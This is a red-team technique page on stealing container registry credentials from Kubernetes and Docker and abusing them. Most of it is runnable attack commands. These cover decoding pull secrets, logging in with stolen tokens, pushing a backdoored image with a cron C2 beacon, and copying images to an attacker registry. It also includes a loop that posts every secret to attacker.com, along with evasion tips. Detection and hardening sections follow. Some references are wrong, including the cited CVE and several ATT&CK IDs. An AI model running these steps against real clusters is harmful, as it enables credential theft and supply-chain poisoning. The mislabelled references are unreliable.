| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-014 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Token |
| Tactic | Credential Access |
| Platforms | Entra ID, Azure Container Registry (ACR), Kubernetes, Docker Hub, Quay.io |
| Severity | CRITICAL |
| CVE | N/A (General technique); See CVE-2023-5217 (Docker registry auth bypass) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-08 |
| Affected Versions | Kubernetes 1.0+, Docker 1.0+, ACR all versions |
| Patched In | N/A (design flaw; requires architectural changes) |
| Author | SERVTEP – Artur Pchelnikau |
Container registry token theft is a critical credential access technique where an attacker extracts authentication credentials used to access container image registries (Docker Hub, Azure Container Registry, Quay.io, private registries). These credentials are typically stored in Kubernetes Secrets (type kubernetes.io/dockerconfigjson), Docker configuration files (~/.docker/config.json), or environment variables. Once obtained, the attacker can authenticate to the registry with the stolen credentials, gaining the ability to pull private container images, push malicious images, delete images, or access image metadata. This enables supply chain attacks, malware distribution, intellectual property theft, and lateral movement to other systems where registry credentials are reused.
~/.docker/config.json mounted in containers or on node filesystemsSupply chain compromise enabling unauthorized image deployment, malware distribution, and intellectual property theft. An attacker with stolen registry credentials can: (1) Pull private images to analyze for vulnerabilities, intellectual property, or secrets; (2) Push malicious images with the same name/tag, causing downstream deployments of compromised code; (3) Delete images, causing service disruption and forcing emergency recovery procedures; (4) Access image metadata (manifests, tags, build info) for reconnaissance; (5) Move laterally using registry credentials to authenticate to other systems (CI/CD, cloud provider APIs). In software supply chain scenarios, malicious image injection affects all consumers of the image registry, making the blast radius potentially unbounded.
| Risk Factor | Assessment | Details |
|---|---|---|
| Execution Risk | MEDIUM-HIGH | Requires pod execution + RBAC permissions (not guaranteed); easier if credentials already cached on node |
| Stealth | HIGH | Credential extraction is silent; token usage generates audit events (if enabled) but blends with normal traffic |
| Reversibility | NO | Leaked credentials cannot be “un-leaked”; only remediation is immediate credential rotation and revocation |
| Privilege Escalation | CRITICAL | Credentials often belong to service accounts with push/delete permissions; enables supply chain attack |
| Supply Chain Impact | EXTREME | Stolen credentials can be used to inject malicious images consumed by all downstream users |
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.2, 5.3.1 | Minimize access to secrets, use RBAC for secret access |
| DISA STIG | V-242415, V-254803 | Registry authentication, image verification |
| CISA SCuBA | KBE.SY.2.A | Container image supply chain security |
| NIST 800-53 | AC-3, IA-2, AC-6, SC-7 | Access control, authentication, least privilege, supply chain protection |
| GDPR | Art. 32, 33 | Security of processing, breach notification |
| DORA | Art. 9, 19 | ICT security, supply chain security |
| NIS2 | Art. 21, 23 | Cyber risk management, supply chain management |
| ISO 27001 | A.9.2.3, A.10.1.1 | Management of privileged access, use of cryptography |
| ISO 27005 | 8.3.3 | Supply chain risk assessment |
get secrets RBAC permissionget on secrets resource in target namespace6443 (for secret enumeration)443 (HTTPS) or 5000 (local registry)169.254.169.254:80 (for managed identity tokens)| Component | Supported Versions | Notes |
|---|---|---|
| Kubernetes | 1.0 - 1.29.0+ | ImagePullSecrets introduced in early K8s versions |
| Docker | 1.0 - 27.0+ | docker config.json format stable across versions |
| ACR (Azure) | All versions | Admin credentials available since service launch |
| Skopeo | 1.0 - 1.14.0+ | Container image inspection; no breaking changes |
| Crane | 0.1 - 0.15.0+ | Lightweight image tool; stable API |
| Tool | Version | URL | Purpose |
|---|---|---|---|
| kubectl | 1.19+ | https://kubernetes.io/docs/tasks/tools/ | Extract Kubernetes Secrets |
| Skopeo | 1.14.0+ | https://github.com/containers/skopeo | Inspect/copy container images, scan layers |
| Crane | 0.15.0+ | https://github.com/google/go-containerregistry/tree/main/cmd/crane | List tags, inspect images, copy without runtime |
| docker | 19.03+ | https://www.docker.com/products/docker-desktop/ | Extract credentials from containers |
| base64 | GNU coreutils | Built-in on Linux | Decode base64-encoded secrets |
| jq | 1.6+ | https://stedolan.github.io/jq/ | Parse JSON registry configs |
Objective: Discover Kubernetes Secrets of type kubernetes.io/dockerconfigjson that contain registry credentials
PowerShell / kubectl Reconnaissance:
# List all secrets in current namespace:
kubectl get secrets -o wide
# Filter for docker registry secrets:
kubectl get secrets -o=jsonpath='{range .items[?(@.type=="kubernetes.io/dockerconfigjson")]}{.metadata.name}{"\t"}{.type}{"\t"}{.metadata.namespace}{"\n"}{end}'
# Expected output:
# myregistry-secret kubernetes.io/dockerconfigjson default
# acr-credentials kubernetes.io/dockerconfigjson kube-system
What to Look For:
kubernetes.io/dockerconfigjson (registry credentials)kubernetes.io/dockercfg (older Docker format)kube-system, monitoring, logging)Linux / Bash Reconnaissance:
# Inside compromised pod
kubectl get secrets --all-namespaces -o=jsonpath='{range .items[?(@.type=="kubernetes.io/dockerconfigjson")]}{.metadata.namespace}{"\t"}{.metadata.name}{"\n"}{end}'
Objective: Retrieve and decode the base64-encoded docker config from the secret
Command:
# Extract the .dockerconfigjson field:
kubectl get secret myregistry-secret -n default -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d
# Expected output (decoded JSON):
{
"auths": {
"myregistry.azurecr.io": {
"username": "myregistry",
"password": "eyJ...XE=", # Base64-encoded token
"email": "admin@company.com",
"auth": "bXlyZWdpc3RyeTpleUo..." # Base64 of username:password
},
"docker.io": {
"username": "dockeruser",
"password": "dckr_pat_...",
"auth": "ZG9ja2VydXNlcjpkY2tyX3BhdF8..."
}
},
"HttpHeaders": {
"User-Agent": "Docker-Client/20.10.12 (linux)"
}
}
What This Means:
password field contains the authentication token or plain-text passwordauth field is base64(username:password) – decoding reveals credentialsHttpHeaders can reveal Docker version or custom user-agents (fingerprinting)OpSec & Evasion:
unset HISTFILEshred to avoid recoveryget API calls)Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
error: secrets "myregistry-secret" not found |
Secret doesn’t exist in namespace | List all namespaces; check RBAC permissions |
Error: resource type "secrets" is not supported on this cluster |
kubectl not available; RBAC denies access | Escalate to node; use kubelet API instead |
Invalid base64 |
Secret data is not base64-encoded (rare) | Check if data is already plaintext |
References & Proofs:
Objective: Verify that extracted credentials work for authenticating to the container registry
Command:
# Decode the registry password:
PASSWORD=$(echo "eyJ...XE=" | base64 -d)
# Test ACR access:
curl -u myregistry:$PASSWORD \
-I https://myregistry.azurecr.io/v2/
# Expected output (200):
# HTTP/1.1 200 OK
# Docker-Distribution-API-Version: registry/2.0
# Or test with docker login:
echo "$PASSWORD" | docker login -u myregistry --password-stdin myregistry.azurecr.io
# Expected output:
# Login Succeeded
Success Indicators:
Login Succeeded message (credentials confirmed working)Objective: Locate docker config files on compromised container or node
Command (Inside Compromised Container):
# Check if docker config exists in home directory:
find / -name "config.json" -path "*docker*" 2>/dev/null
# Common locations:
cat ~/.docker/config.json
cat /root/.docker/config.json
cat /home/*/.docker/config.json
# Check for .dockercfg (older format):
find / -name ".dockercfg" 2>/dev/null
Expected Output:
{
"auths": {
"https://index.docker.io/v1/": {
"auth": "dXNlcm5hbWU6cGFzc3dvcmQ=",
"email": "user@example.com"
}
},
"credsStore": "pass",
"credHelpers": {
"quay.io": "pass"
}
}
What to Look For:
auth field: Base64(username:password)credsStore field: References to password managers (may require breaking into)credHelpers: Registry-specific credential storageCommand:
# Decode auth field:
echo "dXNlcm5hbWU6cGFzc3dvcmQ=" | base64 -d
# Output: username:password
# Use jq to extract all credentials:
cat ~/.docker/config.json | jq '.auths | to_entries[] | {registry: .key, auth: .value.auth}' | while read line; do
echo "$line" | jq -r '.auth' | base64 -d
done
# Output:
# username1:password1
# username2:password2
# ...
Objective: Enumerate container images to identify candidates for credential scanning
Command (Using Skopeo):
# List tags in registry:
skopeo list-tags docker://myregistry.azurecr.io/myapp
# Expected output:
# {
# "Repository": "myregistry.azurecr.io/myapp",
# "Tags": [
# "v1.0.0",
# "v1.0.1",
# "v1.1.0",
# "latest",
# "dev"
# ]
# }
# Or using Crane:
crane list myregistry.azurecr.io/myapp
Objective: Scan container image layers (each layer is a tarball) for hardcoded credentials
Command:
# Extract and inspect image config:
skopeo inspect docker://myregistry.azurecr.io/myapp:v1.0.0
# Expected output (includes Env, Cmd, etc.):
# {
# "Name": "myregistry.azurecr.io/myapp",
# "Config": {
# "Env": [
# "REGISTRY_PASSWORD=xyz123!@#",
# "AWS_ACCESS_KEY_ID=AKIA...",
# "SLACK_TOKEN=xoxb-..."
# ],
# "Cmd": ["/app/start.sh"],
# ...
# }
# }
# Extract just Env variables:
skopeo inspect docker://myregistry.azurecr.io/myapp:v1.0.0 | jq '.Config.Env'
# Output:
# [
# "REGISTRY_PASSWORD=xyz123!@#",
# "AWS_ACCESS_KEY_ID=AKIA...",
# ...
# ]
What This Means:
OpSec & Evasion:
Supported Versions: Kubernetes 1.0 - 1.29.0+
Prerequisites: Pod execution + RBAC get secrets permission
Objective: Discover all container registry credentials stored in Kubernetes cluster
Command:
# From pod with RBAC permissions, list all secrets of type dockerconfigjson:
kubectl get secrets -A -o=jsonpath='{range .items[?(@.type=="kubernetes.io/dockerconfigjson")]}{.metadata.namespace}{"\t"}{.metadata.name}{"\n"}{end}'
# Expected output:
# default myregistry-secret
# kube-system acr-pull-secret
# monitoring prometheus-registry-secret
# app-prod production-registry-creds
# app-prod artifactory-token
What to Look For:
kube-system, kube-public) with registry credentialsprod, production, azure, acr (higher-value targets)Objective: Decode and exfiltrate registry credentials from a production namespace
Command:
# Extract credentials from production secret:
SECRET_DATA=$(kubectl get secret production-registry-creds -n app-prod -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d)
echo "$SECRET_DATA" | jq '.'
# Output:
{
"auths": {
"production.azurecr.io": {
"username": "serviceaccount@prod",
"password": "0000...PROD_TOKEN...9999",
"email": "devops@company.com",
"auth": "c2VydmljZWFjY291bnQ..."
}
}
}
# Extract just the password:
PASSWORD=$(echo "$SECRET_DATA" | jq -r '.auths["production.azurecr.io"].password')
USERNAME=$(echo "$SECRET_DATA" | jq -r '.auths["production.azurecr.io"].username')
echo "Username: $USERNAME"
echo "Password: $PASSWORD"
Expected Output:
Username: serviceaccount@prod
Password: 0000eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9eyJqdGkiOiI5OWIyYTgwZS03YmNkLTQwYmQtOTBjOC1hYjcxZWRlZDU5OWEiLCJzdWIiOiI5YzQzM2E4Ny04OWJmLTRlZjItOWUwOC1jOWNjM2FkYWQ4YzEiLCJuYmYiOjE2NzA3NjE3NTQsImlzcyI6Imh0dHBzOi8vZ3VhcmRpYW4uYXp1cmVjci5pbyIsImF1ZCI6Ind3dy5henVyZS5jb20iLCJpYXQiOjE2NzA3NjE3NTQsImV4cCI6MTcwMjI5Nzc1NH19999
What This Means:
Objective: Use stolen credentials to access private registry and enumerate images
Command:
# Login to registry with stolen credentials:
echo "$PASSWORD" | docker login -u "$USERNAME" --password-stdin production.azurecr.io
# List available images:
curl -u "$USERNAME:$PASSWORD" \
https://production.azurecr.io/v2/_catalog
# Expected output:
{
"repositories": [
"backend-service",
"frontend-web",
"payment-processor",
"admin-panel",
"data-pipeline",
...
]
}
# List tags for specific image:
curl -u "$USERNAME:$PASSWORD" \
https://production.azurecr.io/v2/backend-service/tags/list
# Expected output:
{
"name": "backend-service",
"tags": [
"v2.3.1",
"v2.3.0",
"v2.2.9",
"v2.2.8",
"latest",
"main-branch",
"dev"
]
}
What This Means:
Objective: Extract and analyze private images to identify vulnerabilities or inject malicious code
Command:
# Pull and extract image layers:
docker pull production.azurecr.io/backend-service:v2.3.1
# Extract filesystem from layers:
docker save production.azurecr.io/backend-service:v2.3.1 -o backend-service.tar
# Extract tarball:
mkdir extracted_layers
tar -xf backend-service.tar -C extracted_layers
# Search for credentials in layers:
grep -r "password\|secret\|token\|key\|password" extracted_layers/ | head -20
# Search for source code:
find extracted_layers -name "*.py" -o -name "*.js" -o -name "*.go" | head
# Extract environment variables from image config:
docker inspect production.azurecr.io/backend-service:v2.3.1 | jq '.[0].Config.Env'
Expected Output:
[
"DATABASE_HOST=db.prod.internal",
"DATABASE_PASSWORD=super_secret_123",
"AWS_ACCESS_KEY_ID=AKIA...",
"AWS_SECRET_ACCESS_KEY=...",
"SLACK_WEBHOOK=https://hooks.slack.com/services/...",
"GITHUB_TOKEN=ghp_...",
...
]
What This Means:
Objective: Upload malicious image that will be pulled by downstream consumers
Command:
# Create malicious Dockerfile:
cat > Dockerfile.malicious << 'EOF'
FROM production.azurecr.io/backend-service:v2.3.0
# Implant backdoor or exfil logic
RUN echo "*/5 * * * * /var/tmp/c2_beacon" | crontab -
# Copy malicious binary
COPY c2_beacon.elf /var/tmp/c2_beacon
RUN chmod +x /var/tmp/c2_beacon
# Preserve original entrypoint to avoid detection
EOF
# Build image:
docker build -t production.azurecr.io/backend-service:v2.3.1 -f Dockerfile.malicious .
# Push with stolen credentials:
docker login -u "$USERNAME" -p "$PASSWORD" production.azurecr.io
docker push production.azurecr.io/backend-service:v2.3.1
# Expected output:
# The push refers to repository [production.azurecr.io/backend-service]
# v2.3.1: digest: sha256:abc123... size: 4096
What This Means:
v2.3.1 pulls compromised imageSupported Versions: Skopeo 1.0+, Crane 0.1+ Prerequisites: Network access to registry, stolen registry credentials
Objective: Extract and analyze Docker image configuration to find hardcoded credentials
Command:
# Inspect image config (no pulling required):
skopeo inspect --creds username:password \
docker://production.azurecr.io/backend-service:v2.3.1
# Expected output:
{
"Name": "production.azurecr.io/backend-service",
"Digest": "sha256:abc123...",
"RepoTags": ["v2.3.1", "v2.3.0", "latest"],
"Created": "2025-12-15T10:30:00Z",
"Config": {
"Env": [
"NODE_ENV=production",
"DB_HOST=postgres.prod.internal",
"DB_PASSWORD=SuperSecret123!",
"REDIS_URL=redis://redis.prod.internal:6379",
"SENTRY_DSN=https://key@sentry.io/123456",
"GITHUB_TOKEN=ghp_..."
],
"ExposedPorts": {
"3000/tcp": {}
},
"Volumes": {
"/data": {}
}
},
"Architecture": "amd64",
"Os": "linux"
}
What This Means:
OpSec & Evasion:
Objective: Copy compromised image to attacker-controlled registry for later deployment
Command:
# Copy image directly between registries (no local pull):
skopeo copy \
--src-creds victim_username:victim_password \
--dest-creds attacker_username:attacker_password \
docker://production.azurecr.io/backend-service:v2.3.1 \
docker://attacker.azurecr.io/stolen-images/backend-service:v2.3.1
# Expected output:
# Getting image source signatures
# Copying blob abc123... done
# Copying config def456... done
# Writing manifest to image destination
# Storing signatures
# Verify image was copied:
skopeo list-tags --creds attacker_username:attacker_password \
docker://attacker.azurecr.io/stolen-images
# Output:
# {
# "Repository": "attacker.azurecr.io/stolen-images/backend-service",
# "Tags": ["v2.3.1", ...]
# }
What This Means:
Supported Versions: Docker 1.0+, Kubernetes 1.0+ Prerequisites: Node filesystem access or privileged pod
Objective: Gain access to node filesystem where docker config files are stored
Command (Privileged Pod):
# Deploy privileged pod with node volume mount:
kubectl run privileged-dump --image=ubuntu --privileged -it -- /bin/bash
# Inside privileged pod, mount node filesystem:
nsenter -m/proc/1/ns/mnt -- ls -la /root/.docker/
# Or directly access node files (if pod-to-node access available):
mount -o bind / /mnt
cat /mnt/root/.docker/config.json
Alternative: Node Shell Access
# If kubectl debug available (Kubernetes 1.18+):
kubectl debug node/aks-pool-12345678-vmss000001 -it --image=ubuntu
# Inside node shell:
cat /root/.docker/config.json
cat ~/.docker/config.json
Command:
# Copy docker config to container:
cp /mnt/root/.docker/config.json /tmp/docker-config.json
# Decode all auth entries:
cat /tmp/docker-config.json | jq '.auths | to_entries[] | "\(.key): \(.value.auth | @base64d)"'
# Expected output:
# "myregistry.azurecr.io": "serviceaccount@prod:eyJ...XE="
# "docker.io": "dockeruser:dckr_pat_..."
# "quay.io": "quayuser:quay_token_..."
Manual Test Execution:
# 1. Create test secret with registry credentials:
kubectl create secret docker-registry test-registry-secret \
--docker-server=myregistry.azurecr.io \
--docker-username=testuser \
--docker-password="testpassword123" \
--docker-email=test@example.com \
-n default
# 2. Extract secret:
kubectl get secret test-registry-secret -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq .
# 3. Verify credential extraction:
echo "Extracted credentials:"
kubectl get secret test-registry-secret -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq '.auths[].username'
# Expected result: Test username displayed
Cleanup Command:
kubectl delete secret test-registry-secret -n default
Version: 1.14.0+ (latest 2025) Repository: GitHub: containers/skopeo Language: Go (single binary)
Installation:
# Linux:
sudo apt-get install skopeo -y
# macOS:
brew install skopeo
# Or build from source:
git clone https://github.com/containers/skopeo
cd skopeo
make
Usage:
# Inspect image without pulling:
skopeo inspect docker://quay.io/library/ubuntu:latest
# Copy image with auth:
skopeo copy \
--src-creds user:pass \
docker://source-registry/image:tag \
docker://dest-registry/image:tag
# List tags in repository:
skopeo list-tags docker://quay.io/library/ubuntu
# Sync entire registry:
skopeo sync \
--src docker \
--dest dir \
--src-creds user:pass \
quay.io/myrepos /mnt/backup
Version: 0.15.0+ (latest 2025) Repository: GitHub: google/go-containerregistry Language: Go
Installation:
# Install latest:
go install github.com/google/go-containerregistry/cmd/crane@latest
# Or download prebuilt:
curl -L https://github.com/google/go-containerregistry/releases/download/v0.15.0/crane-linux-amd64 -o crane
chmod +x crane
Usage:
# List tags:
crane list myregistry.azurecr.io/myimage
# Inspect image:
crane config myregistry.azurecr.io/myimage:latest | jq .
# Copy image:
crane cp myregistry.azurecr.io/image:v1 my-registry.local/image:v1
# Pull image as tarball:
crane pull myregistry.azurecr.io/myimage:latest image.tar
Usage:
# Extract all ImagePullSecrets:
kubectl get secrets -A -o=jsonpath='{range .items[?(@.type=="kubernetes.io/dockerconfigjson")]}{.metadata.namespace}{"\t"}{.metadata.name}{"\n"}{end}'
# Decode specific secret:
kubectl get secret <NAME> -n <NAMESPACE> -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq .
# Test registry access with extracted credentials:
kubectl run -it --rm test-auth --image=alpine --restart=Never -- \
sh -c 'echo "$PASSWORD" | docker login -u "$USERNAME" --password-stdin myregistry.azurecr.io'
Quick Registry Credential Exfil:
# Extract all ImagePullSecrets and exfil to attacker server:
for secret in $(kubectl get secrets -A -o=jsonpath='{range .items[?(@.type=="kubernetes.io/dockerconfigjson")]}{.metadata.namespace}{","}{.metadata.name}{","}{end}'); do
NS=$(echo $secret | cut -d, -f1);
NAME=$(echo $secret | cut -d, -f2);
CREDS=$(kubectl get secret $NAME -n $NS -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d);
curl -s -X POST -d "namespace=$NS&secret=$NAME&creds=$CREDS" http://attacker.com/exfil;
done
Rule Configuration:
kube_audit or k8s_auditkubernetes:api:auditverb, objectRef.resource, objectRef.name, user, sourceIPsget on secret named *registry*, *docker*, *pull*SPL Query:
index=kube_audit sourcetype=kubernetes:api:audit
verb=get
objectRef.resource=secrets
(objectRef.name="*registry*" OR objectRef.name="*docker*" OR objectRef.name="*imagepull*")
user!=system:*
| stats count, values(sourceIPs), earliest(_time) as first_seen by user, objectRef.namespace, objectRef.name
| where count > 0
| eval risk="HIGH - Registry credential access detected", recommendation="Investigate pod, check RBAC, rotate credentials"
Rule Configuration:
container_registry_logs or azure_logsdocker_registry:api:logs, azure:container:registrystatus_code, username, ip_address, actionSPL Query:
index=container_registry_logs sourcetype=docker_registry:api:logs
(status_code=401 OR status_code=403)
action=pull OR action=push
| stats count, values(username), values(ip_address), earliest(_time) as first_seen by registry_name
| where count > 5
| eval risk="MEDIUM - Possible credential brute force", recommendation="Review failed login patterns, consider IP blocking"
Rule Configuration:
container_registry_logsdocker_registry:api:logsuser_agent, verb, ip_addressSPL Query:
index=container_registry_logs
(user_agent="*skopeo*" OR user_agent="*crane*" OR user_agent="*go-containerregistry*")
OR
(user_agent="curl*" AND (request_path="*manifest*" OR request_path="*blobs*"))
| stats count, values(ip_address), values(verb) by user_agent, registry_name
| eval risk="MEDIUM - Advanced registry tool usage detected", recommendation="Verify if legitimate; check IP reputation"
Location: /var/log/pods/kube-system_kube-apiserver-*/kube-apiserver-*_*/kube-apiserver/audit.log
Artifacts to Hunt For:
{
"level": "RequestResponse",
"verb": "get",
"objectRef": {
"resource": "secrets",
"namespace": "kube-system",
"name": "myregistry-credentials",
"apiVersion": "v1"
},
"user": {
"username": "system:serviceaccount:default:attacker-pod",
"uid": "12345678-1234-1234-1234-123456789012",
"groups": ["system:serviceaccounts", "system:authenticated"]
},
"sourceIPs": ["10.244.0.1"],
"responseStatus": {
"code": 200
},
"requestReceivedTimestamp": "2026-01-08T12:00:00.123456Z"
}
IoC Patterns:
verb=get + objectRef.resource=secrets + objectRef.name="*registry*"verb=list + objectRef.resource=secrets + multiple resultsLocation (Docker): /var/lib/docker/containers/<CONTAINER_ID>/*/stdout
Forensic Artifacts:
# Commands indicating credential theft:
$ kubectl get secrets -A -o jsonpath='...'
$ docker login myregistry.azurecr.io
$ skopeo inspect docker://myregistry.azurecr.io/...
$ crane list myregistry.azurecr.io
# Evidence of image pulling:
$ docker pull myregistry.azurecr.io/backend-service:v2.3.1
$ skopeo copy --src-creds ...
Suspicious Files:
/tmp/docker-config.json
/tmp/registry-credentials.json
/tmp/k8s-secrets-dump.txt
/tmp/skopeo-*
~/.docker/config.json (if copied from node)
Search Commands:
# Find copied config files:
find /tmp -name "*docker*" -o -name "*registry*" -o -name "*config*" 2>/dev/null
# Find shell history with registry commands:
grep -r "docker\|registry\|skopeo\|crane\|kubectl.*secret" ~/.bash_history 2>/dev/null
# Find base64-encoded secrets in memory:
strings /proc/*/mem | grep -E "^[A-Za-z0-9+/]{100,}=$"
Registry API Access Pattern:
Skopeo/Crane Indicators:
.manifests, .blobs endpoints)containers or go-containerregistry| Control | Implementation | Impact |
|---|---|---|
| Use Workload Identity | Replace long-lived ImagePullSecrets with Azure Workload Identity (OIDC) | Eliminates stored credentials; uses short-lived tokens |
| Use Kubelet Managed Identity | Configure AKS kubelet with managed identity; ACR pull automatically | No credentials stored in cluster |
| RBAC Least Privilege | Restrict get/list secrets to service accounts requiring it |
Reduces lateral movement post-compromise |
| Encrypt Secrets at Rest | Enable --encryption-provider-config on kube-apiserver |
Credentials encrypted in etcd; resistant to node compromise |
| NetworkPolicy | Deny pod-to-registry traffic except for authorized workloads | Limits registry access, prevents mass image theft |
| Image Scanning | Scan images for embedded credentials before deployment | Catches hardcoded secrets before deployment |
| Credential Rotation | Rotate registry credentials monthly; revoke leaked credentials immediately | Limits blast radius of credential leakage |
Hardening Manifest Example:
apiVersion: v1
kind: ServiceAccount
metadata:
name: myapp
automountServiceAccountToken: false # ← CRITICAL
---
apiVersion: v1
kind: Pod
metadata:
name: myapp-pod
spec:
serviceAccountName: myapp
securityContext:
runAsNonRoot: true
fsGroup: 2000
containers:
- name: app
image: myregistry.azurecr.io/myapp:latest
imagePullPolicy: Always # Force pull to catch poisoned images
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsUser: 1000
---
# Use Workload Identity instead of ImagePullSecrets
apiVersion: aadpodidentity.k8s.io/v1
kind: AzureIdentity
metadata:
name: myapp-identity
spec:
type: 0 # Service Principal
resourceID: /subscriptions/.../resourceGroups/.../providers/Microsoft.ManagedIdentity/userAssignedIdentities/myapp-identity
clientID: "00000000-0000-0000-0000-000000000000"
---
apiVersion: aadpodidentity.k8s.io/v1
kind: AzureIdentityBinding
metadata:
name: myapp-identity-binding
spec:
azureIdentity: myapp-identity
selector: myapp
---
# Pod uses workload identity (no ImagePullSecrets needed)
apiVersion: v1
kind: Pod
metadata:
name: myapp-pod
labels:
aadpodidbinding: myapp
spec:
# No imagePullSecrets specified
containers:
- name: app
image: myregistry.azurecr.io/myapp:latest
| Indicator | Detection Method | Response |
|---|---|---|
| Secret access | Kubernetes audit logs; verb=get, resource=secrets | Alert; investigate pod origin |
| Registry auth failure | Registry access logs; status=401, 403 | Investigate user/IP; possible credential compromise |
| Credential exfiltration | Network DLP; base64-encoded auth in egress traffic | Kill pod; revoke credentials immediately |
| Layer inspection | Registry API logs; manifest/blob requests without pull | Investigate IP; block if suspicious |
| Image push with malicious payload | Image scanning on push; layer analysis | Reject push; investigate requester |
Phase 1: Containment (T+0-15 minutes)
[ ] Identify source pod/node
[ ] Kill pod or cordon node
[ ] Revoke all registry credentials used by compromised service account
[ ] Block pod's RBAC permission to access secrets
[ ] Preserve evidence (pod logs, audit logs, network flows)
Phase 2: Eradication (T+15-60 minutes)
[ ] Rotate all registry credentials (immediate replacement)
[ ] Audit all images pushed by compromised service account (check for malware)
[ ] Rollback deployments using potentially malicious images
[ ] Update pod spec to use Workload Identity instead of ImagePullSecrets
[ ] Re-deploy with new credentials
Phase 3: Recovery (T+60-240 minutes)
[ ] Monitor registry for new push/pull by compromised accounts
[ ] Scan all container images in registry for embedded credentials
[ ] Implement image signing & verification
[ ] Enable RBAC audit logging for secrets
[ ] Configure SIEM rules for credential access patterns
| Technique ID | Name | Relationship |
|---|---|---|
| T1190 | Exploit Public-Facing Application | Initial RCE → pod execution → token theft |
| T1087.004 | Cloud Service Discovery | Enumerate images in registry (post-token theft) |
| T1536 | Data from Cloud Storage | Exfiltrate private images for offline analysis |
| T1565 | Data Destruction | Delete images from registry to disrupt service |
| T1199 | Trusted Relationship | Supply chain: push malicious image for downstream consumption |
| T1134 | Token Impersonation | Use stolen credentials to impersonate legitimate service account |
Scenario: Azure Storage Blob exposed Terraform state file containing ACR admin credentials
Attack Timeline:
Impact: Database breach; 10,000+ customer records compromised
Reference: NetSPI: Attacking ACRs with Compromised Credentials
Scenario: Security scanning tool missed base64-encoded secrets in YAML manifests
Attack Timeline:
Impact: Private code repositories exposed; supply chain at risk
Reference: Kroll: Secret Leak in Software Supply Chain
Scenario: Container images with embedded credentials (Dockerfile ENV, shell scripts) pushed to public registry
Attack Timeline:
Impact: 10,000+ vulnerable images; hundreds of organizations affected
Reference: Flare.io: Thousands of Exposed Secrets Found on Docker Hub
| Limitation | Details | Workaround |
|---|---|---|
| Token expiration | Registry tokens may have TTL (hours to days) | Steal refresh token; pivot to service account identity |
| RBAC restriction | Pod may lack get secrets permission |
Escalate to node; access kubelet or etcd directly |
| Network isolation | NetworkPolicy may block registry access | Use DNS/ICMP covert channel; pivot through allowed service |
| Image signing | Images may be signed; verify before deployment | Signature bypass; replace with signed malicious image |
| Scanning detection | Image scanning may detect malicious payload | Use packers/obfuscators; blend malicious code as legitimate library |
Real-Time Indicators:
Hunting Queries:
-- Find pods accessing ImagePullSecrets
SELECT timestamp, pod_name, namespace, secret_name, action
FROM k8s_audit
WHERE verb = 'get' AND objectRef.resource = 'secrets'
AND objectRef.name LIKE '%registry%'
AND sourceIPs NOT IN (allowed_pod_ips)
ORDER BY timestamp DESC